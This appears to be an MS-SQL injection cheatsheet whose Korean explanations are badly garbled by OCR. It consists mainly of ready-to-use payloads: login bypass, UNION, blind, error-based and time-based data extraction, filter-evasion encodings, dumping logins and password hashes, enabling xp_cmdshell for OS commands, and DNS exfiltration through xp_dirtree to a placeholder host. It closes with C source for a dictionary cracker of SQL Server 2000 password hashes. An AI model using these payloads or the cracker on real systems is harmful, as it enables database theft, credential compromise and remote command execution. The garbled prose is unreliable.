MS-SQL Injection Cheatsheet

7|= HIOJE{H|0] &

pubs MSSQL 2005 of|= E=xHistX| &LICE.
model 2E B{™of| =R{ELICE.
msdb SE HHo| ERiELICE
tempdb DE B{™of| =R{ELICE.
northwind HE HTO| ER{EHL|Ct.
information_schema MSSQL 2000 O| A0 =XHEHL|CE.
ZFo|Aret
-CI2 LHE2 ¢l HEIR XM = Bi0| ZtE £HSI7{LI ZEAIE 0|8l M 242 YT uff BtEA| XM E8ljoF §HLICt.
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O AL0|A QoM 24 LES SEEILICE LI2EA
AHO|AE %20 2 °._|4='_%' SHOfgtL|Ct.
+ URL 212 Al Bl ZHSPACE) 2= AME5t7| =20

Sx}+ 2 IR 720 A3} IsHAS %2b 2

olacl sofatL|Ct.
ol %3b 2 213 HoFgtL|Ct.

OIFIM E|AE

MOIZE2 F7| 2E0M 2 2At2 AHESH| W2
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1) 2X1
- 42 AE(SINGLE QUOTE, ’) &= HE{(QUOTE, “)7t o2 1M E A sH= 1 el=io] 7tsEiict
01II1I2} Zo| Ho 2 M El 0f2] 712 I FHE Flol= SQL 22 s Lot= ’*OI 7tsgtct.
SELECT * FROM Table WHERE id ='1";
ofl2] 2
" ofl2 2h
SELECT * FROM Articles WHERE id ="1";
SELECT 1 FROM dual WHERE 1 ="1""""UNION SELECT '2%
AL
2) =X}
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SELECT * FROM Table WHERE id = 1;

65-0
- (SELECT ASCII(‘A)) z|ofst
SELECT * FROM Users WHERE id = 3-2;

3) 279l Al
SELECT * FROM Table WHERE username =";

'OR 1=1--
'OR 1=1#
OR 1=1/*
) OR '1'='1--

) OR ("1'="1--
SELECT * FROM Users WHERE username = 'Mike' AND password = ‘OR '1' = 1--

4) ai Hi i._l'
convert(int,@@version)
- AFSA F ™ 2E0 2XIE i=is ofl2{E fEELich

‘+ convert(int,@@version) +

- AF8X 22Xt 213 2E0 XXHE =Sl o2 E |fLELIC

Ikl
Ef°0|I R EAE2 MM = LINX| 2|0 et FMo =2 A8 & AELCL
/* C-AEIY =M
-- - SQL F=A
;%00 Null gk
--' AND password = “;

SELECT * FROM Users WHERE username =" OR 1=1

SELECT * FROM Users WHERE id =" UNION SELECT 1, 2, 3/*
="UN/**/ION SEL/**/ECT 1, 2, 37,

SEL/**/ECT * FR/**/OM Users WH/**/ERE id =

B EHAE

@@VERSION
SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE ‘%2008%";
- Zat= 2EQ OS o HH HEE s

HIO|E{H|O| A AMEXL At SE

I E|O|E O|E(EE) master..syslogins, master..sysprocesses

oI-

MEX LS Eetd!
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Ar8Xt HHE EEFSH A 0|2 name, loginame

Sz AR} 2 g user, system_user, suser_sname(),
is_srvrolemember('sysadmin')
Ci|O|E{H|O| A7} Stekstn Q= X fHASH SELECT user, password FROM

master.dbo.sysxlogins

SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
- 8ixf AFEX} O|ES BhetEiLICt.

SELECT (CASE WHEN (IS SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);
- AL2XL0|IA| 5045 HBHO| RHE|X} HBHOIK| SHOISHLILY,

H|O|E{H[O] 2 O] F

E[O|Z 0|8 (E2) master..sysdatabases

Zd ol name

il AH2 E91 DB 2t g DB_NAME(i)
\i=0,1,2-~

SELECT DB_NAME(5);
SELECT name FROM master..sysdatabases;

MH SAE 0|5
@@SERVERNAME
SERVERPROPERTY()

SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'),
SERVERPROPERTY (‘edition');

E|0|E(Tables)z} Z&(Columns)
1) 2 b et

ORDER BY

ORDER BY n+1;

- FALSE S8 W2ujntx| N 2k2 S7hAI7{0} ShLict,
- GROUP BY 2 ORDER BY &£ SQL 72 4 M2 C}2 7|58 711 YIS0IE, £ B 25 22 145 metstero
L St wHoR ALY

SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT};

n=0 1" ORDER BY 1-- TRUE
n=1 1" ORDER BY 2-- TRUE
n=2 1" ORDER BY 3-- TRUE
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SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT};

n=3 1' ORDER BY 4-- FALSE - Query 0ff 2%! M| 79|
Column 2t AFZSHCH= 22 =8t
L|C}.

n=2 -1"UNION SELECT 1,2,3-- TRUE

GROUP BY/HAVING

- Hlo|22| 2E S Zalsl= B2 ol21E 2YSHK| SLIct

SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}'

1'HAVING 1=1-- Users.username Z&0| & A 4Lt GROUP BY
Hof| ¢leE = SELECT S5E0|M ALEE 4= SiEL
Ct.

1' GROUP BY username HAVING 1=1-- Users.password ZZ0| £A| &L} GROUP BY
Mo 9l 22 SELECT ZS20f|M At2E 4 gL
Ct.

1' GROUP BY username, password HAVING ' Users.permission ZZ0| 4| &<%Lt GROUP

121-- BY Hoj| o252 SELECT 220j|A| AlRE £ 9lg
L|Ct.

1' GROUP BY username, password, o2 A=

permission HAVING 1=1--

2) H|o|E EHE 7N 27|

. information_schema.tables EE& master..sysobjects & 3l HO|22 M2 £ QY SLICT

UNION

- xtype = 'U'= A8+ F2o| EFUYULICE
UNION SELECT name FROM master..sysobjects WHERE xtype="'U'
- UNION 12 AL A &/dst= 2101 of10i| CHs COLLATE HE F71510] £3 Q10|18 BiAe &+ ASLICL

UNION SELECT name COLLATE SQL_Latin1_General _Cp1254_CS_AS FROM
master..sysobjects WHERE xtype="'U'

BLIND
. SUBSTRING(‘EX, X, Y) B4 2Xteio] X HAf QIXOIMSE Y JHo] 2XHX Z8H)E watsts g4elL|ct,
. 2 SQLI & Hjo|2 0|22] 5 217t A HL} 2 £XQIX| H|msts TEQLICH (A=65, Z=90, a=97, z=112)

AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > ‘A'

ERROR
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE
table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))

3) 4 R IIH27|

. information_schema.columns E& master..syscolumns & Sal| ZHZ 7142 £ ALt
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UNION

UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM
master..syscolumns WHERE name = 'tablename')

BLIND
AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A'

ERROR
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)

AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE
column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))

4) N Huj o] 2 FE 74 27|

SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY
name ASC) sq ORDER BY name DESC
- 9 Himjj o] MEE JIMZLCL

5) Ct=2] Ef|o|Sx ZE FE skl 71 27|

21Al HIO|2/Z2H S 4d510 Ar8AL Yol Etg §EE XFiLICh

AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=":' SELECT @xy=@xy+ +tnhame
FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB
END;

s HEE "=siLch
AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
Ayt AA Elo|E2/ZHE AHRILICE

AND 1=0; DROP TABLE TMP_DB

MSSQL 2005 0] &M= FOR XML PATH(") &8 At&83510{ O ZithsiA| 718 & 5= JAELICE
SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH(")

EXtY xE=F - A (Fuzzing) - LH=3H(Obfuscation)

1) Y& ZE{2(Filtering) 23l

SELECT * FROM Users WHERE username = CHAR() &4E AI2510{ ASCll ZEZ HAEHL|CT.
CHAR(97) + CHAR(100) + CHAR(109) + . SELECT CHAR(65); # AZ HIaI3HLIC}.
CHAR(105) + CHAR(110)

2) EXE 9

SELECT 'a+d+mi+n’;

SELECT CONCAT(‘a','a','a");
- SQL SERVER 2012 0flM 7Hs&tLIC.

br@1nfeeder-git.github.io 5/14 br@1nfeeder



mailto:br@1nfeeder-git.github.io

3) H|O|E{H|O| A0 M 5| 25t= 22X} Al

CHE EXh= 2XHAL0[2] ZH4S TR e ol ALgE 4= lEL|C}.
%01 Start of Heading
%02 Start of Text
%03 End of Text
%04 End of Transmission
%05 Enquiry
%06 Acknowledge
%07 Bell
%08 Backspace
%09 Horizontal Tab
%0A New Line
%0B Vertical Tab
%0C New Page
%0D Carriage Return
%0E Shift Out
%O0F Shift In
%10 Data Link Escape
%11 Device Control 1
%12 Device Control 2
%13 Device Control 3
%14 Device Control 4
%15 Negative Acknowledge
%16 Synchronous Ildle
%17 End of Transmission Block
%18 Cancel
%19 End of Medium
%1A Substitute
%1B Escape
%1C File Separator
%1D Group Separator
%1E Record Separator
%1F Unit Separator
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%20 Space
%25 %
SWEWBLBEWC%T%01column%02FROM%03table;

A%%ND 1=%%%% %% % %1,
- 7191E ALO|0f| % 71== ASP(X) 1 OHEZEZIAIO| Mo M2t ALEEh 4= AELICE

- L2 EXt52 3U(SPACE) 2E{YS 23|5t=0| AHget + USLICH

%22 "

X
N
(e3]

%5D ]
UNION(SELECT(column)FROM(table));
SELECT"table_name"FROM][information_schemal].[tables];

4) 2134 (Encodings)
. I=M 122 olATIsto =M WAF/IDS & 38| 7Hs 40| ZRjgtct.
|

URL ¢oIZ&] SELECT %74able_%6eame FROM
information_schema.tables;
2 URL 2I=G! SELECT %2574able_%256eame FROM
- %25 Flof| &H| ArEE 22 20{'27| &h|Cl. information_schema.tables;
QLaE olaE SELECT %u0074able_%ub6eame FROM
information_schema.tables;
22| Hex 213E (ASP) SELECT %tab%le %na%me FROM
information_schema.tables;
Hex QI3 & "AND 1=0; DECLARE @S VARCHAR(4000)
. DECLARE 32} CAST() &8 S5l HEX 21ZEE SET
At8EtLILCt. @S=CAST(0x44524f50205441424c4520544
- AND 1=0; DROP TABLE TMP_DB d505f44423b AS VARCHAR(4000)); EXEC
(@S);--
HTML QIE[E| (HS EQ) %26%2365%3B%26%2378%3B
« %26%2365%3B = &#65; %26%2368%3B%26%2332%3B
%26%2349%3B%26%2361%3B
%26%2349%3B

5) 7|19/ 7|8t EE{Z(F 'tering) 23|
- IDS/WAF E¥ 7|9|EE ZE&sta QIS uff QIATSHK| ¢t11 0|2 3|8 4~ Q&L

7|2|E: information_schema.tables

CHAZX} B4A INFORMaTIOn_SCHema.TAbLeS
=M AR inf/**/or/**/ma/**/tion_sch/**/em/**/a.ta/**/
bles
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AlZH x|
WAITFOR DELAY ‘Al:&: =’

IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY ‘0:0:0';
- MH2RE| SHO| 5 = X|AEL|Ct

?ProductlD=;DECLARE @x as int;DECLARE @w as char(6);SET
@x=ASCII(SUBSTRING(({INJECTION POINT}),1,1));IF @x=100 SET @w='0:0:14' ELSE SET
@w='0:0:01";WAITFOR DELAY @w--

- SUBSTRING() &+2 22 2X17t d Y o, M2 E 30| 14 = X|9E|0{ d 7} ofd HL 1 =7t X|HEL|Ch

Out Of Band #€2!(Channeling)/OPENROWSET &4

- SQLI 712 M8 5 Glo[E{Hl0| AR & e olojo] Hlo|E|S S24xt Atle| HFEIR H4517| $lal clolEfHlo] 2o Lf
2l 7152 0|8 st whelL|rt.

. DNS MH{E M5} {J0o{o} §tL|C}t.

- SQLI o] A1 Z3tS OhZ2|A|0|M0| = &5HK| 94 1f ALBILICE

- OPENROWSET #+=& Sall 1Zx[2| SQL AMt{of| Az &tL|C}.

DNS 23 o|g
?ProductiD=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION POINT})

+.yourhost.com';'sa";'pwd', 'SELECT 1')
. 274X} DNS M| YOURHOST.COM 0f| NBNS 32| == DNS RESOLUTION Q&g Fctsh|C}.

?ProductlD=1; DECLARE @q varchar(1024); SET @q = \\"H{({INJECTION POINT})
+.yourhost.com\\test.txt'; EXEC master..xp_dirtree @q
- 224X} DNS MH{ YOURHOST.COM 0| NBNS 2| EE= DNS RESOLUTION Q3 & FEstL|Ct.

OPENROWSET

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4sswO0rd', 'SET FMTONLY
OFF execute master..xp_cmdshell "dir"');

AEH 32| (Stacked Queries)
- MSSQL 2 AE 2|5 X|HeL|C}.
“AND 1=0 INSERT INTO ([ZZ_O|E_1], [Z&_0O|=_2]) VALUES (‘gt_1', ‘%t 2";

o AlS

A AR Hzo] M3
« XP_CMDSHELL 2 2%x|x| HH0{E Mg = Y= EF T2 AN L|CL
EXEC master.dbo.xp_cmdshell 'cmd’;

- MSSQL 2005 FE{ aliet Z2AIX= ‘AL oF 8 0] 7|22k LICE 3HX| 2t CHS 2|S Sall 2dstet = ASLIC
1

EXEC sp_configure 'show advanced options',
EXEC sp_configure reconfigure
EXEC sp_configure 'xp_cmdshell', 1

EXEC sp_configure reconfigure

« AF2X} RRMTe] TEANE ‘HME] 2ot SUst AnE YEFE ASLICL
DECLARE @execmd INT
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EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'

- B{Z10] MSSQL 2000 o|&¢l F2 9| #2IE H¥5I7| flsH CHS 7t 217t 228 5= ASLICH

EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure

EXEC sp_configure 'OLE Automation Procedures', 1

EXEC sp_configure reconfigure

- Lk #2l= xp_cmdshell 0] 243} £[0] Q=X| SIFHL|Ct 2435t £|0] 2™ dir WHO0IE A3sta 1 Z3E

TMP_DB of &rigtL|C}.

IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME=TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF
EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]")
AND OBJECTPROPERTY (id, N'lsExtendedProc') = 1) BEGIN CREATE TABLE
%23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int)
INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT *
FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir
varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a=" SELECT
@a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font
color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE
SELECT @a="xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT
@a="xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--

- TMP_DBO| #/3t L2 S BZ5tm ARIBILICE,
UNION SELECT tbl FROM TMP_DB--

DROP TABLE TMP_DB--

= =
. IF &2 SELECT 22 Ujoll A8 4 StaLict.
#a olR|

CASE SELECT CASE WHEN 1=1 THEN ‘true’ ELSE ‘false’ END;
. TRUE & dtslstL|Ct.
SELECT CASE WHEN (select user) = 'sa' THEN ‘true’ ELSE ‘false’ END;
. 8ixj A}2X}7} SA 0| TRUE £ ytakgh|C},

IF IF 1=1 SELECT 'true' ELSE SELECT 'false’;
- TRUE E thetgtL|Ct.
IF ((select user) ='sa' OR (select user) = 'dbo') SELECT 1 ELSE SELECT 1/0
. 8zl AF2X}7} SA EE= DBO 7t Oy AL ofl2{7} rAistL|Ct.

ijA Q= 54l (Hashing)

. |AQIE SlAl= 0X0100 22 A|ZtEHL|CE.

. 0X0100 C}20f| 2= 8 HIO|E= LHHX| 80 HIO|E s{A|2] £E(SALT) ZtIL|CE.
- A2 3 40 HIO|E= uH*°4':°I CHAEXIE 7Es0] X8t ZrelLct.

. 3l A|2] LIHX| 40 HIO|EL= CH2X} THAQEE X3 ZHQIL L.
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0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEEQ1C0784B911
D76BF4EB124550ACABDFD1457

IjA 2= 3efZ(Cracking) =4

= URL

Metasploit 2 & JTR http://www.metasploit.com/modules/
auxiliary/analyze/jtr_ mssqgl fast

MSSQL 2000 mjAL|= A2l7
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1117777777777 777777777777777777777777777777777777777777777777777777777/77777/77/77/777777
/

//

// SQLCrackCl

//

// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this

// has been discovered try all case variant to work
// out the case sensitive password.

//

// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000

// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//

// (Compile with VC++ and link with advapi32.lib

// Ensure the Platform SDK has been installed, too!)
//

1177777777777 777777777777777777777777777777777/77/7/777/7777/77/77777777/777/7/777/7/7/77/77/777777
/

#include <stdio.h>

#include <windows.h>

#include <wincrypt.h>

FILE *fd=NULL;

char *lerr = "\nLength Error!\n";

int wd=0;

int OpenPasswordFile(char *pwdfile);

int CrackPassword(char *hash);

int main(int argc, char *argv[])

{
int err = 0;
ifCargc !=3)
{

printf("\n\n*** SQLCrack *** \n\n");

printf("C:\\>%s hash passwd-file\n\n",argv[@]);
printf("David Litchfield (david@ngssoftware.com)\n");
printf("24th June 2002\n");

return 0;
}
err = OpenPasswordFile(argv[2]);
ifCerr '=0)
{

return printf("\nThere was an error opening the password file %s
\n",argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf("\n\n%d" ,wd);
return 0;

}

int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,"r");
if(fd)
return 0;
else
return 1;
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int CrackPassword(char *hash)
{
char phash[100]="";
char pheader[8]="";
char pkey[12]="";
char pnorm[44]="";
char pucase[44]="";
char pucfirst[8]="";
char wttf[44]="";
char uwttf[100]="";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD h1=100;
unsigned char szhash[100]="";
int len=0;
if(strlenChash) !=94)
{

3
i1fChash[0]==0x30 && Chash[1]== 'x"' || hash[1] == 'X'))

{

return printf("\nThe password hash is too short!\n");

hash = hash + 2;
strncpy(pheader,hash,4);
printf("\nHeader\t\t: %s",pheader);
if(strlen(pheader)!=4)

return printf("%s",lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf("\nRand key\t: %s",pkey);
if(strlen(pkey)!=8)

return printf("%s",lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf("\nNormal\t\t: %s",pnorm);
if(strlen(pnorm)!=40)

return printf("%s",lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf("\nUpper Case\t: %s",pucase);
if(strlen(pucase)!=40)

return printf("%s",lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst, "%x" ,&cmp);

else

return printf("The password hash has an invalid format!\n");
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printf("\n\n Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL , ©@))

{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf("FAILLLLLLL!!!™);
return FALSE;
b
b
b
while(l1)
{

// get a word to try from the file

ZeroMemory(wttf,44);

if(!fgets(wttf,40,fd))

return printf("\nkEnd of password file. Didn't find the password.

\n");

wd++;

len = strlen(wttf);

wttf[len-1]=0x00;

ZeroMemory(uwttf,84);

// Convert the word to UNICODE

while(count < len)

{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;

ks

len --;

wp = &uwttf;

sscanf(pkey, "%x" ,&key);

cnt = cnt - 2;

// Append the random stuff to the end of
// the uppercase unicode password

t = key >> 24;

x = (unsigned char) t;

uwttf[cnt]=x;

cnt++;
t = key << §;
t =t > 24;

x = (unsigned char) t;
uwttf[cnt]=x;

cnt++;
t = key << 16;
t =t > 24;

x = (unsigned char) t;
uwttf[cnt]=x;

cnt++;
t = key << 24;
t =t > 24;

X

(unsigned char) t;
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uwttf[cnt]=x;
cnt++;

// Create the hash

if(!CryptCreateHash(hProv, CALG_SHA, @ , @, &hHash))

printf("Error %x during CryptCreatHash!\n", GetLastError());

if(!CryptHashDataChHash, (BYTE *)uwttf, len*2+4, @))

printf("Error %x during CryptHashData!\n", GetLastError());

{
return 0;
b
{
return FALSE;
ks

CryptGetHashParam(ChHash ,HP_HASHVAL , (byte*)szhash,&hl,0);

// Test the first byte only. Much quicker.

== cmp)

first byte matches try the rest
pucase;
1

while(cnt < 20)

if(szhash[0]
{
// If
ptr =
cnt =
{
}
if(cnt
{
}
}
count = 0;
cnt=0;
}
return 0;

br@1nfeeder-git.github.io

ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst, "%x",&cmp);
if(szhash[cnt]==cmp)

cnt ++;
else
{

break;
ks
== 20)

// We've found the password

printf("\nA MATCH!!! Password is %s\n",wttf);

return 0;
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